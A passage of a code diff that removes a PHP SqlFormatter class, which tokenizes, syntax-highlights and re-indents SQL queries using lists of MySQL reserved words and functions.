-class SqlFormatter
-{
-    // Constants for token types
-    const TOKEN_TYPE_WHITESPACE = 0;
-    const TOKEN_TYPE_WORD = 1;
-    const TOKEN_TYPE_QUOTE = 2;
-    const TOKEN_TYPE_BACKTICK_QUOTE = 3;
-    const TOKEN_TYPE_RESERVED = 4;
-    const TOKEN_TYPE_RESERVED_TOPLEVEL = 5;
-    const TOKEN_TYPE_RESERVED_NEWLINE = 6;
-    const TOKEN_TYPE_BOUNDARY = 7;
-    const TOKEN_TYPE_COMMENT = 8;
-    const TOKEN_TYPE_BLOCK_COMMENT = 9;
-    const TOKEN_TYPE_NUMBER = 10;
-    const TOKEN_TYPE_ERROR = 11;
-    const TOKEN_TYPE_VARIABLE = 12;
-
-    // Constants for different components of a token
-    const TOKEN_TYPE = 0;
-    const TOKEN_VALUE = 1;
-
-    // Reserved words (for syntax highlighting)
-    protected static $reserved = array(
-        'ACCESSIBLE', 'ACTION', 'AGAINST', 'AGGREGATE', 'ALGORITHM', 'ALL', 'ALTER', 'ANALYSE', 'ANALYZE', 'AS', 'ASC',
-        'AUTOCOMMIT', 'AUTO_INCREMENT', 'BACKUP', 'BEGIN', 'BETWEEN', 'BINLOG', 'BOTH', 'CASCADE', 'CASE', 'CHANGE', 'CHANGED', 'CHARACTER SET',
-        'CHARSET', 'CHECK', 'CHECKSUM', 'COLLATE', 'COLLATION', 'COLUMN', 'COLUMNS', 'COMMENT', 'COMMIT', 'COMMITTED', 'COMPRESSED', 'CONCURRENT',
-        'CONSTRAINT', 'CONTAINS', 'CONVERT', 'CREATE', 'CROSS', 'CURRENT_TIMESTAMP', 'DATABASE', 'DATABASES', 'DAY', 'DAY_HOUR', 'DAY_MINUTE',
-        'DAY_SECOND', 'DEFAULT', 'DEFINER', 'DELAYED', 'DELETE', 'DESC', 'DESCRIBE', 'DETERMINISTIC', 'DISTINCT', 'DISTINCTROW', 'DIV',
-        'DO', 'DUMPFILE', 'DUPLICATE', 'DYNAMIC', 'ELSE', 'ENCLOSED', 'END', 'ENGINE', 'ENGINE_TYPE', 'ENGINES', 'ESCAPE', 'ESCAPED', 'EVENTS', 'EXEC', 
-        'EXECUTE', 'EXISTS', 'EXPLAIN', 'EXTENDED', 'FAST', 'FIELDS', 'FILE', 'FIRST', 'FIXED', 'FLUSH', 'FOR', 'FORCE', 'FOREIGN', 'FULL', 'FULLTEXT',
-        'FUNCTION', 'GLOBAL', 'GRANT', 'GRANTS', 'GROUP_CONCAT', 'HEAP', 'HIGH_PRIORITY', 'HOSTS', 'HOUR', 'HOUR_MINUTE',
-        'HOUR_SECOND', 'IDENTIFIED', 'IF', 'IFNULL', 'IGNORE', 'IN', 'INDEX', 'INDEXES', 'INFILE', 'INSERT', 'INSERT_ID', 'INSERT_METHOD', 'INTERVAL',
-        'INTO', 'INVOKER', 'IS', 'ISOLATION', 'KEY', 'KEYS', 'KILL', 'LAST_INSERT_ID', 'LEADING', 'LEVEL', 'LIKE', 'LINEAR',
-        'LINES', 'LOAD', 'LOCAL', 'LOCK', 'LOCKS', 'LOGS', 'LOW_PRIORITY', 'MARIA', 'MASTER', 'MASTER_CONNECT_RETRY', 'MASTER_HOST', 'MASTER_LOG_FILE',
-        'MATCH','MAX_CONNECTIONS_PER_HOUR', 'MAX_QUERIES_PER_HOUR', 'MAX_ROWS', 'MAX_UPDATES_PER_HOUR', 'MAX_USER_CONNECTIONS',
-        'MEDIUM', 'MERGE', 'MINUTE', 'MINUTE_SECOND', 'MIN_ROWS', 'MODE', 'MODIFY',
-        'MONTH', 'MRG_MYISAM', 'MYISAM', 'NAMES', 'NATURAL', 'NOT', 'NOW()','NULL', 'OFFSET', 'ON', 'OPEN', 'OPTIMIZE', 'OPTION', 'OPTIONALLY',
-        'ON UPDATE', 'ON DELETE', 'OUTFILE', 'PACK_KEYS', 'PAGE', 'PARTIAL', 'PARTITION', 'PARTITIONS', 'PASSWORD', 'PRIMARY', 'PRIVILEGES', 'PROCEDURE',
-        'PROCESS', 'PROCESSLIST', 'PURGE', 'QUICK', 'RANGE', 'RAID0', 'RAID_CHUNKS', 'RAID_CHUNKSIZE','RAID_TYPE', 'READ', 'READ_ONLY',
-        'READ_WRITE', 'REFERENCES', 'REGEXP', 'RELOAD', 'RENAME', 'REPAIR', 'REPEATABLE', 'REPLACE', 'REPLICATION', 'RESET', 'RESTORE', 'RESTRICT',
-        'RETURN', 'RETURNS', 'REVOKE', 'RLIKE', 'ROLLBACK', 'ROW', 'ROWS', 'ROW_FORMAT', 'SECOND', 'SECURITY', 'SEPARATOR',
-        'SERIALIZABLE', 'SESSION', 'SHARE', 'SHOW', 'SHUTDOWN', 'SLAVE', 'SONAME', 'SOUNDS', 'SQL',  'SQL_AUTO_IS_NULL', 'SQL_BIG_RESULT',
-        'SQL_BIG_SELECTS', 'SQL_BIG_TABLES', 'SQL_BUFFER_RESULT', 'SQL_CALC_FOUND_ROWS', 'SQL_LOG_BIN', 'SQL_LOG_OFF', 'SQL_LOG_UPDATE',
-        'SQL_LOW_PRIORITY_UPDATES', 'SQL_MAX_JOIN_SIZE', 'SQL_QUOTE_SHOW_CREATE', 'SQL_SAFE_UPDATES', 'SQL_SELECT_LIMIT', 'SQL_SLAVE_SKIP_COUNTER',
-        'SQL_SMALL_RESULT', 'SQL_WARNINGS', 'SQL_CACHE', 'SQL_NO_CACHE', 'START', 'STARTING', 'STATUS', 'STOP', 'STORAGE',
-        'STRAIGHT_JOIN', 'STRING', 'STRIPED', 'SUPER', 'TABLE', 'TABLES', 'TEMPORARY', 'TERMINATED', 'THEN', 'TO', 'TRAILING', 'TRANSACTIONAL', 'TRUE',
-        'TRUNCATE', 'TYPE', 'TYPES', 'UNCOMMITTED', 'UNIQUE', 'UNLOCK', 'UNSIGNED', 'USAGE', 'USE', 'USING', 'VARIABLES',
-        'VIEW', 'WHEN', 'WITH', 'WORK', 'WRITE', 'YEAR_MONTH'
-    );
-
-    // For SQL formatting
-    // These keywords will all be on their own line
-    protected static $reserved_toplevel = array(
-        'SELECT', 'FROM', 'WHERE', 'SET', 'ORDER BY', 'GROUP BY', 'LIMIT', 'DROP',
-        'VALUES', 'UPDATE', 'HAVING', 'ADD', 'AFTER', 'ALTER TABLE', 'DELETE FROM', 'UNION ALL', 'UNION', 'EXCEPT', 'INTERSECT'
-    );
-
-    protected static $reserved_newline = array(
-        'LEFT OUTER JOIN', 'RIGHT OUTER JOIN', 'LEFT JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'INNER JOIN', 'JOIN', 'XOR', 'OR', 'AND'
-    );
-
-    protected static $functions = array (
-        'ABS', 'ACOS', 'ADDDATE', 'ADDTIME', 'AES_DECRYPT', 'AES_ENCRYPT', 'AREA', 'ASBINARY', 'ASCII', 'ASIN', 'ASTEXT', 'ATAN', 'ATAN2',
-        'AVG', 'BDMPOLYFROMTEXT',  'BDMPOLYFROMWKB', 'BDPOLYFROMTEXT', 'BDPOLYFROMWKB', 'BENCHMARK', 'BIN', 'BIT_AND', 'BIT_COUNT', 'BIT_LENGTH',
-        'BIT_OR', 'BIT_XOR', 'BOUNDARY',  'BUFFER',  'CAST', 'CEIL', 'CEILING', 'CENTROID',  'CHAR', 'CHARACTER_LENGTH', 'CHARSET', 'CHAR_LENGTH',
-        'COALESCE', 'COERCIBILITY', 'COLLATION',  'COMPRESS', 'CONCAT', 'CONCAT_WS', 'CONNECTION_ID', 'CONTAINS', 'CONV', 'CONVERT', 'CONVERT_TZ',
-        'CONVEXHULL',  'COS', 'COT', 'COUNT', 'CRC32', 'CROSSES', 'CURDATE', 'CURRENT_DATE', 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURRENT_USER',
-        'CURTIME', 'DATABASE', 'DATE', 'DATEDIFF', 'DATE_ADD', 'DATE_DIFF', 'DATE_FORMAT', 'DATE_SUB', 'DAY', 'DAYNAME', 'DAYOFMONTH', 'DAYOFWEEK',
-        'DAYOFYEAR', 'DECODE', 'DEFAULT', 'DEGREES', 'DES_DECRYPT', 'DES_ENCRYPT', 'DIFFERENCE', 'DIMENSION', 'DISJOINT', 'DISTANCE', 'ELT', 'ENCODE',
-        'ENCRYPT', 'ENDPOINT', 'ENVELOPE', 'EQUALS', 'EXP', 'EXPORT_SET', 'EXTERIORRING', 'EXTRACT', 'EXTRACTVALUE', 'FIELD', 'FIND_IN_SET', 'FLOOR',
-        'FORMAT', 'FOUND_ROWS', 'FROM_DAYS', 'FROM_UNIXTIME', 'GEOMCOLLFROMTEXT', 'GEOMCOLLFROMWKB', 'GEOMETRYCOLLECTION', 'GEOMETRYCOLLECTIONFROMTEXT',
-        'GEOMETRYCOLLECTIONFROMWKB', 'GEOMETRYFROMTEXT', 'GEOMETRYFROMWKB', 'GEOMETRYN', 'GEOMETRYTYPE', 'GEOMFROMTEXT', 'GEOMFROMWKB', 'GET_FORMAT',
-        'GET_LOCK', 'GLENGTH', 'GREATEST', 'GROUP_CONCAT', 'GROUP_UNIQUE_USERS', 'HEX', 'HOUR', 'IF', 'IFNULL', 'INET_ATON', 'INET_NTOA', 'INSERT', 'INSTR',
-        'INTERIORRINGN', 'INTERSECTION', 'INTERSECTS',  'INTERVAL', 'ISCLOSED', 'ISEMPTY', 'ISNULL', 'ISRING', 'ISSIMPLE', 'IS_FREE_LOCK', 'IS_USED_LOCK',
-        'LAST_DAY', 'LAST_INSERT_ID', 'LCASE', 'LEAST', 'LEFT', 'LENGTH', 'LINEFROMTEXT', 'LINEFROMWKB', 'LINESTRING', 'LINESTRINGFROMTEXT', 'LINESTRINGFROMWKB',
-        'LN', 'LOAD_FILE', 'LOCALTIME', 'LOCALTIMESTAMP', 'LOCATE', 'LOG', 'LOG10', 'LOG2', 'LOWER', 'LPAD', 'LTRIM', 'MAKEDATE', 'MAKETIME', 'MAKE_SET',
-        'MASTER_POS_WAIT', 'MAX', 'MBRCONTAINS', 'MBRDISJOINT', 'MBREQUAL', 'MBRINTERSECTS', 'MBROVERLAPS', 'MBRTOUCHES', 'MBRWITHIN', 'MD5', 'MICROSECOND',
-        'MID', 'MIN', 'MINUTE', 'MLINEFROMTEXT', 'MLINEFROMWKB', 'MOD', 'MONTH', 'MONTHNAME', 'MPOINTFROMTEXT', 'MPOINTFROMWKB', 'MPOLYFROMTEXT', 'MPOLYFROMWKB',
-        'MULTILINESTRING', 'MULTILINESTRINGFROMTEXT', 'MULTILINESTRINGFROMWKB', 'MULTIPOINT',  'MULTIPOINTFROMTEXT', 'MULTIPOINTFROMWKB', 'MULTIPOLYGON',
-        'MULTIPOLYGONFROMTEXT', 'MULTIPOLYGONFROMWKB', 'NAME_CONST', 'NULLIF', 'NUMGEOMETRIES', 'NUMINTERIORRINGS',  'NUMPOINTS', 'OCT', 'OCTET_LENGTH',
-        'OLD_PASSWORD', 'ORD', 'OVERLAPS', 'PASSWORD', 'PERIOD_ADD', 'PERIOD_DIFF', 'PI', 'POINT', 'POINTFROMTEXT', 'POINTFROMWKB', 'POINTN', 'POINTONSURFACE',
-        'POLYFROMTEXT', 'POLYFROMWKB', 'POLYGON', 'POLYGONFROMTEXT', 'POLYGONFROMWKB', 'POSITION', 'POW', 'POWER', 'QUARTER', 'QUOTE', 'RADIANS', 'RAND',
-        'RELATED', 'RELEASE_LOCK', 'REPEAT', 'REPLACE', 'REVERSE', 'RIGHT', 'ROUND', 'ROW_COUNT', 'RPAD', 'RTRIM', 'SCHEMA', 'SECOND', 'SEC_TO_TIME',
-        'SESSION_USER', 'SHA', 'SHA1', 'SIGN', 'SIN', 'SLEEP', 'SOUNDEX', 'SPACE', 'SQRT', 'SRID', 'STARTPOINT', 'STD', 'STDDEV', 'STDDEV_POP', 'STDDEV_SAMP',
-        'STRCMP', 'STR_TO_DATE', 'SUBDATE', 'SUBSTR', 'SUBSTRING', 'SUBSTRING_INDEX', 'SUBTIME', 'SUM', 'SYMDIFFERENCE', 'SYSDATE', 'SYSTEM_USER', 'TAN',
-        'TIME', 'TIMEDIFF', 'TIMESTAMP', 'TIMESTAMPADD', 'TIMESTAMPDIFF', 'TIME_FORMAT', 'TIME_TO_SEC', 'TOUCHES', 'TO_DAYS', 'TRIM', 'TRUNCATE', 'UCASE',
-        'UNCOMPRESS', 'UNCOMPRESSED_LENGTH', 'UNHEX', 'UNIQUE_USERS', 'UNIX_TIMESTAMP', 'UPDATEXML', 'UPPER', 'USER', 'UTC_DATE', 'UTC_TIME', 'UTC_TIMESTAMP',
-        'UUID', 'VARIANCE', 'VAR_POP', 'VAR_SAMP', 'VERSION', 'WEEK', 'WEEKDAY', 'WEEKOFYEAR', 'WITHIN', 'X', 'Y', 'YEAR', 'YEARWEEK'
-    );
-
-    // Punctuation that can be used as a boundary between other tokens
-    protected static $boundaries = array(',', ';',':', ')', '(', '.', '=', '<', '>', '+', '-', '*', '/', '!', '^', '%', '|', '&', '#');
-
-    // For HTML syntax highlighting
-    // Styles applied to different token types
-    public static $quote_attributes = 'style="color: blue;"';
-    public static $backtick_quote_attributes = 'style="color: purple;"';
-    public static $reserved_attributes = 'style="font-weight:bold;"';
-    public static $boundary_attributes = '';
-    public static $number_attributes = 'style="color: green;"';
-    public static $word_attributes = 'style="color: #333;"';
-    public static $error_attributes = 'style="background-color: red;"';
-    public static $comment_attributes = 'style="color: #aaa;"';
-    public static $variable_attributes = 'style="color: orange;"';
-    public static $pre_attributes = 'style="color: black; background-color: white;"';
-
-    // Boolean - whether or not the current environment is the CLI
-    // This affects the type of syntax highlighting
-    // If not defined, it will be determined automatically
-    public static $cli;
-
-    // For CLI syntax highlighting
-    public static $cli_quote = "\x1b[34;1m";
-    public static $cli_backtick_quote = "\x1b[35;1m";
-    public static $cli_reserved = "\x1b[37m";
-    public static $cli_boundary = "";
-    public static $cli_number = "\x1b[32;1m";
-    public static $cli_word = "";
-    public static $cli_error = "\x1b[31;1;7m";
-    public static $cli_comment = "\x1b[30;1m";
-    public static $cli_functions = "\x1b[37m";
-    public static $cli_variable = "\x1b[36;1m";
-
-    // The tab character to use when formatting SQL
-    public static $tab = '  ';
-
-    // This flag tells us if queries need to be enclosed in <pre> tags
-    public static $use_pre = true;
-
-    // This flag tells us if SqlFormatted has been initialized
-    protected static $init;
-
-    // Regular expressions for tokenizing
-    protected static $regex_boundaries;
-    protected static $regex_reserved;
-    protected static $regex_reserved_newline;
-    protected static $regex_reserved_toplevel;
-    protected static $regex_function;
-
-    // Cache variables
-    // Only tokens shorter than this size will be cached.  Somewhere between 10 and 20 seems to work well for most cases.
-    public static $max_cachekey_size = 15;
-    protected static $token_cache = array();
-    protected static $cache_hits = 0;
-    protected static $cache_misses = 0;
-
-    /**
-     * Get stats about the token cache
-     * @return Array An array containing the keys 'hits', 'misses', 'entries', and 'size' in bytes
-     */
-    public static function getCacheStats()
-    {
-        return array(
-            'hits'=>self::$cache_hits,
-            'misses'=>self::$cache_misses,
-            'entries'=>count(self::$token_cache),
-            'size'=>strlen(serialize(self::$token_cache))
-        );
-    }
-
-    /**
-     * Stuff that only needs to be done once.  Builds regular expressions and sorts the reserved words.
-     */
-    protected static function init()
-    {
-        if (self::$init) return;
-
-        // Sort reserved word list from longest word to shortest, 3x faster than usort
-        $reservedMap = array_combine(self::$reserved, array_map('strlen', self::$reserved));
-        arsort($reservedMap);
-        self::$reserved = array_keys($reservedMap);
-
-        // Set up regular expressions
-        self::$regex_boundaries = '('.implode('|',array_map(array(__CLASS__, 'quote_regex'),self::$boundaries)).')';
-        self::$regex_reserved = '('.implode('|',array_map(array(__CLASS__, 'quote_regex'),self::$reserved)).')';
-        self::$regex_reserved_toplevel = str_replace(' ','\\s+','('.implode('|',array_map(array(__CLASS__, 'quote_regex'),self::$reserved_toplevel)).')');
-        self::$regex_reserved_newline = str_replace(' ','\\s+','('.implode('|',array_map(array(__CLASS__, 'quote_regex'),self::$reserved_newline)).')');
-
-        self::$regex_function = '('.implode('|',array_map(array(__CLASS__, 'quote_regex'),self::$functions)).')';
-
-        self::$init = true;
-    }
-
-    /**
-     * Return the next token and token type in a SQL string.
-     * Quoted strings, comments, reserved words, whitespace, and punctuation are all their own tokens.
-     *
-     * @param String $string   The SQL string
-     * @param array  $previous The result of the previous getNextToken() call
-     *
-     * @return Array An associative array containing the type and value of the token.
-     */
-    protected static function getNextToken($string, $previous = null)
-    {
-        // Whitespace
-        if (preg_match('/^\s+/',$string,$matches)) {
-            return array(
-                self::TOKEN_VALUE => $matches[0],
-                self::TOKEN_TYPE=>self::TOKEN_TYPE_WHITESPACE
-            );
-        }
-
-        // Comment
-        if ($string[0] === '#' || (isset($string[1])&&($string[0]==='-'&&$string[1]==='-') || ($string[0]==='/'&&$string[1]==='*'))) {
-            // Comment until end of line
-            if ($string[0] === '-' || $string[0] === '#') {
-                $last = strpos($string, "\n");
-                $type = self::TOKEN_TYPE_COMMENT;
-            } else { // Comment until closing comment tag
-                $last = strpos($string, "*/", 2) + 2;
-                $type = self::TOKEN_TYPE_BLOCK_COMMENT;
-            }
-
-            if ($last === false) {
-                $last = strlen($string);
-            }
-
-            return array(
-                self::TOKEN_VALUE => substr($string, 0, $last),
-                self::TOKEN_TYPE  => $type
-            );
-        }
-
-        // Quoted String
-        if ($string[0]==='"' || $string[0]==='\'' || $string[0]==='`' || $string[0]==='[') {
-            $return = array(
-                self::TOKEN_TYPE => (($string[0]==='`' || $string[0]==='[')? self::TOKEN_TYPE_BACKTICK_QUOTE : self::TOKEN_TYPE_QUOTE),
-                self::TOKEN_VALUE => self::getQuotedString($string)
-            );
-
-            return $return;
-        }
-
-        // User-defined Variable
-        if (($string[0] === '@' || $string[0] === ':') && isset($string[1])) {
-            $ret = array(
-                self::TOKEN_VALUE => null,
-                self::TOKEN_TYPE => self::TOKEN_TYPE_VARIABLE
-            );
-            
-            // If the variable name is quoted
-            if ($string[1]==='"' || $string[1]==='\'' || $string[1]==='`') {
-                $ret[self::TOKEN_VALUE] = $string[0].self::getQuotedString(substr($string,1));
-            }
-            // Non-quoted variable name
-            else {
-                preg_match('/^('.$string[0].'[a-zA-Z0-9\._\$]+)/',$string,$matches);
-                if ($matches) {
-                    $ret[self::TOKEN_VALUE] = $matches[1];
-                }
-            }
-            
-            if($ret[self::TOKEN_VALUE] !== null) return $ret;
-        }
-
-        // Number (decimal, binary, or hex)
-        if (preg_match('/^([0-9]+(\.[0-9]+)?|0x[0-9a-fA-F]+|0b[01]+)($|\s|"\'`|'.self::$regex_boundaries.')/',$string,$matches)) {
-            return array(
-                self::TOKEN_VALUE => $matches[1],
-                self::TOKEN_TYPE=>self::TOKEN_TYPE_NUMBER
-            );
-        }
-
-        // Boundary Character (punctuation and symbols)
-        if (preg_match('/^('.self::$regex_boundaries.')/',$string,$matches)) {
-            return array(
-                self::TOKEN_VALUE => $matches[1],
-                self::TOKEN_TYPE  => self::TOKEN_TYPE_BOUNDARY
-            );
-        }
-
-        // A reserved word cannot be preceded by a '.'
-        // this makes it so in "mytable.from", "from" is not considered a reserved word
-        if (!$previous || !isset($previous[self::TOKEN_VALUE]) || $previous[self::TOKEN_VALUE] !== '.') {
-            $upper = strtoupper($string);
-            // Top Level Reserved Word
-            if (preg_match('/^('.self::$regex_reserved_toplevel.')($|\s|'.self::$regex_boundaries.')/', $upper,$matches)) {
-                return array(
-                    self::TOKEN_TYPE=>self::TOKEN_TYPE_RESERVED_TOPLEVEL,
-                    self::TOKEN_VALUE=>substr($string,0,strlen($matches[1]))
-                );
-            }
-            // Newline Reserved Word
-            if (preg_match('/^('.self::$regex_reserved_newline.')($|\s|'.self::$regex_boundaries.')/', $upper,$matches)) {
-                return array(
-                    self::TOKEN_TYPE=>self::TOKEN_TYPE_RESERVED_NEWLINE,
-                    self::TOKEN_VALUE=>substr($string,0,strlen($matches[1]))
-                );
-            }
-            // Other Reserved Word
-            if (preg_match('/^('.self::$regex_reserved.')($|\s|'.self::$regex_boundaries.')/', $upper,$matches)) {
-                return array(
-                    self::TOKEN_TYPE=>self::TOKEN_TYPE_RESERVED,
-                    self::TOKEN_VALUE=>substr($string,0,strlen($matches[1]))
-                );
-            }
-        }
-
-        // A function must be suceeded by '('
-        // this makes it so "count(" is considered a function, but "count" alone is not
-        $upper = strtoupper($string);
-        // function
-        if (preg_match('/^('.self::$regex_function.'[(]|\s|[)])/', $upper,$matches)) {
-            return array(
-                self::TOKEN_TYPE=>self::TOKEN_TYPE_RESERVED,
-                self::TOKEN_VALUE=>substr($string,0,strlen($matches[1])-1)
-            );
-        }
-
-        // Non reserved word
-        preg_match('/^(.*?)($|\s|["\'`]|'.self::$regex_boundaries.')/',$string,$matches);
-
-        return array(
-            self::TOKEN_VALUE => $matches[1],
-            self::TOKEN_TYPE  => self::TOKEN_TYPE_WORD
-        );
-    }
-
-    protected static function getQuotedString($string)
-    {
-        $ret = null;
-        
-        // This checks for the following patterns:
-        // 1. backtick quoted string using `` to escape
-        // 2. square bracket quoted string (SQL Server) using ]] to escape
-        // 3. double quoted string using "" or \" to escape
-        // 4. single quoted string using '' or \' to escape
-        if ( preg_match('/^(((`[^`]*($|`))+)|((\[[^\]]*($|\]))(\][^\]]*($|\]))*)|(("[^"\\\\]*(?:\\\\.[^"\\\\]*)*("|$))+)|((\'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*(\'|$))+))/s', $string, $matches)) {
-            $ret = $matches[1];
-        }
-        
-        return $ret;
-    }
-
-    /**
-     * Takes a SQL string and breaks it into tokens.
-     * Each token is an associative array with type and value.
-     *
-     * @param String $string The SQL string
-     *
-     * @return Array An array of tokens.
-     */
-    protected static function tokenize($string)
-    {
-        self::init();
-
-        $tokens = array();
-
-        // Used for debugging if there is an error while tokenizing the string
-        $original_length = strlen($string);
-
-        // Used to make sure the string keeps shrinking on each iteration
-        $old_string_len = strlen($string) + 1;
-
-        $token = null;
-
-        $current_length = strlen($string);
-
-        // Keep processing the string until it is empty
-        while ($current_length) {
-            // If the string stopped shrinking, there was a problem
-            if ($old_string_len <= $current_length) {
-                $tokens[] = array(
-                    self::TOKEN_VALUE=>$string,
-                    self::TOKEN_TYPE=>self::TOKEN_TYPE_ERROR
-                );
-
-                return $tokens;
-            }
-            $old_string_len =  $current_length;
-
-            // Determine if we can use caching
-            if ($current_length >= self::$max_cachekey_size) {
-                $cacheKey = substr($string,0,self::$max_cachekey_size);
-            } else {
-                $cacheKey = false;
-            }
-
-            // See if the token is already cached
-            if ($cacheKey && isset(self::$token_cache[$cacheKey])) {
-                // Retrieve from cache
-                $token = self::$token_cache[$cacheKey];
-                $token_length = strlen($token[self::TOKEN_VALUE]);
-                self::$cache_hits++;
-            } else {
-                // Get the next token and the token type
-                $token = self::getNextToken($string, $token);
-                $token_length = strlen($token[self::TOKEN_VALUE]);
-                self::$cache_misses++;
-
-                // If the token is shorter than the max length, store it in cache
-                if ($cacheKey && $token_length < self::$max_cachekey_size) {
-                    self::$token_cache[$cacheKey] = $token;
-                }
-            }
-
-            $tokens[] = $token;
-
-            // Advance the string
-            $string = substr($string, $token_length);
-
-            $current_length -= $token_length;
-        }
-
-        return $tokens;
-    }
-
-    /**
-     * Format the whitespace in a SQL string to make it easier to read.
-     *
-     * @param String  $string    The SQL string
-     * @param boolean $highlight If true, syntax highlighting will also be performed
-     *
-     * @return String The SQL string with HTML styles and formatting wrapped in a <pre> tag
-     */
-    public static function format($string, $highlight=true)
-    {
-        // This variable will be populated with formatted html
-        $return = '';
-
-        // Use an actual tab while formatting and then switch out with self::$tab at the end
-        $tab = "\t";
-
-        $indent_level = 0;
-        $newline = false;
-        $inline_parentheses = false;
-        $increase_special_indent = false;
-        $increase_block_indent = false;
-        $indent_types = array();
-        $added_newline = false;
-        $inline_count = 0;
-        $inline_indented = false;
-        $clause_limit = false;
-
-        // Tokenize String
-        $original_tokens = self::tokenize($string);
-
-        // Remove existing whitespace
-        $tokens = array();
-        foreach ($original_tokens as $i=>$token) {
-            if ($token[self::TOKEN_TYPE] !== self::TOKEN_TYPE_WHITESPACE) {
-                $token['i'] = $i;
-                $tokens[] = $token;
-            }
-        }
-
-        // Format token by token
-        foreach ($tokens as $i=>$token) {
-            // Get highlighted token if doing syntax highlighting
-            if ($highlight) {
-                $highlighted = self::highlightToken($token);
-            } else { // If returning raw text
-                $highlighted = $token[self::TOKEN_VALUE];
-            }
-
-            // If we are increasing the special indent level now
-            if ($increase_special_indent) {
-                $indent_level++;
-                $increase_special_indent = false;
-                array_unshift($indent_types,'special');
-            }
-            // If we are increasing the block indent level now
-            if ($increase_block_indent) {
-                $indent_level++;
-                $increase_block_indent = false;
-                array_unshift($indent_types,'block');
-            }
-
-            // If we need a new line before the token
-            if ($newline) {
-                $return .= "\n" . str_repeat($tab, $indent_level);
-                $newline = false;
-                $added_newline = true;
-            } else {
-                $added_newline = false;
-            }
-
-            // Display comments directly where they appear in the source
-            if ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_COMMENT || $token[self::TOKEN_TYPE] === self::TOKEN_TYPE_BLOCK_COMMENT) {
-                if ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_BLOCK_COMMENT) {
-                    $indent = str_repeat($tab,$indent_level);
-                    $return .= "\n" . $indent;
-                    $highlighted = str_replace("\n","\n".$indent,$highlighted);
-                }
-
-                $return .= $highlighted;
-                $newline = true;
-                continue;
-            }
-
-            if ($inline_parentheses) {
-                // End of inline parentheses
-                if ($token[self::TOKEN_VALUE] === ')') {
-                    $return = rtrim($return,' ');
-
-                    if ($inline_indented) {
-                        array_shift($indent_types);
-                        $indent_level --;
-                        $return .= "\n" . str_repeat($tab, $indent_level);
-                    }
-
-                    $inline_parentheses = false;
-
-                    $return .= $highlighted . ' ';
-                    continue;
-                }
-
-                if ($token[self::TOKEN_VALUE] === ',') {
-                    if ($inline_count >= 30) {
-                        $inline_count = 0;
-                        $newline = true;
-                    }
-                }
-
-                $inline_count += strlen($token[self::TOKEN_VALUE]);
-            }
-
-            // Opening parentheses increase the block indent level and start a new line
-            if ($token[self::TOKEN_VALUE] === '(') {
-                // First check if this should be an inline parentheses block
-                // Examples are "NOW()", "COUNT(*)", "int(10)", key(`somecolumn`), DECIMAL(7,2)
-                // Allow up to 3 non-whitespace tokens inside inline parentheses
-                $length = 0;
-                for ($j=1;$j<=250;$j++) {
-                    // Reached end of string
-                    if (!isset($tokens[$i+$j])) break;
-
-                    $next = $tokens[$i+$j];
-
-                    // Reached closing parentheses, able to inline it
-                    if ($next[self::TOKEN_VALUE] === ')') {
-                        $inline_parentheses = true;
-                        $inline_count = 0;
-                        $inline_indented = false;
-                        break;
-                    }
-
-                    // Reached an invalid token for inline parentheses
-                    if ($next[self::TOKEN_VALUE]===';' || $next[self::TOKEN_VALUE]==='(') {
-                        break;
-                    }
-
-                    // Reached an invalid token type for inline parentheses
-                    if ($next[self::TOKEN_TYPE]===self::TOKEN_TYPE_RESERVED_TOPLEVEL || $next[self::TOKEN_TYPE]===self::TOKEN_TYPE_RESERVED_NEWLINE || $next[self::TOKEN_TYPE]===self::TOKEN_TYPE_COMMENT || $next[self::TOKEN_TYPE]===self::TOKEN_TYPE_BLOCK_COMMENT) {
-                        break;
-                    }
-
-                    $length += strlen($next[self::TOKEN_VALUE]);
-                }
-
-                if ($inline_parentheses && $length > 30) {
-                    $increase_block_indent = true;
-                    $inline_indented = true;
-                    $newline = true;
-                }
-
-                // Take out the preceding space unless there was whitespace there in the original query
-                if (isset($original_tokens[$token['i']-1]) && $original_tokens[$token['i']-1][self::TOKEN_TYPE] !== self::TOKEN_TYPE_WHITESPACE) {
-                    $return = rtrim($return,' ');
-                }
-
-                if (!$inline_parentheses) {
-                    $increase_block_indent = true;
-                    // Add a newline after the parentheses
-                    $newline = true;
-                }
-
-            }
-
-            // Closing parentheses decrease the block indent level
-            elseif ($token[self::TOKEN_VALUE] === ')') {
-                // Remove whitespace before the closing parentheses
-                $return = rtrim($return,' ');
-
-                $indent_level--;
-
-                // Reset indent level
-                while ($j=array_shift($indent_types)) {
-                    if ($j==='special') {
-                        $indent_level--;
-                    } else {
-                        break;
-                    }
-                }
-
-                if ($indent_level < 0) {
-                    // This is an error
-                    $indent_level = 0;
-
-                    if ($highlight) {
-                        $return .= "\n".self::highlightError($token[self::TOKEN_VALUE]);
-                        continue;
-                    }
-                }
-
-                // Add a newline before the closing parentheses (if not already added)
-                if (!$added_newline) {
-                    $return .= "\n" . str_repeat($tab, $indent_level);
-                }
-            }
-
-            // Top level reserved words start a new line and increase the special indent level
-            elseif ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_RESERVED_TOPLEVEL) {
-                $increase_special_indent = true;
-
-                // If the last indent type was 'special', decrease the special indent for this round
-                reset($indent_types);
-                if (current($indent_types)==='special') {
-                    $indent_level--;
-                    array_shift($indent_types);
-                }
-
-                // Add a newline after the top level reserved word
-                $newline = true;
-                // Add a newline before the top level reserved word (if not already added)
-                if (!$added_newline) {
-                    $return .= "\n" . str_repeat($tab, $indent_level);
-                }
-                // If we already added a newline, redo the indentation since it may be different now
-                else {
-                    $return = rtrim($return,$tab).str_repeat($tab, $indent_level);
-                }
-
-                // If the token may have extra whitespace
-                if (strpos($token[self::TOKEN_VALUE],' ')!==false || strpos($token[self::TOKEN_VALUE],"\n")!==false || strpos($token[self::TOKEN_VALUE],"\t")!==false) {
-                    $highlighted = preg_replace('/\s+/',' ',$highlighted);
-                }
-                //if SQL 'LIMIT' clause, start variable to reset newline
-                if ($token[self::TOKEN_VALUE] === 'LIMIT' && !$inline_parentheses) {
-                    $clause_limit = true;
-                }
-            }
-
-            // Checks if we are out of the limit clause
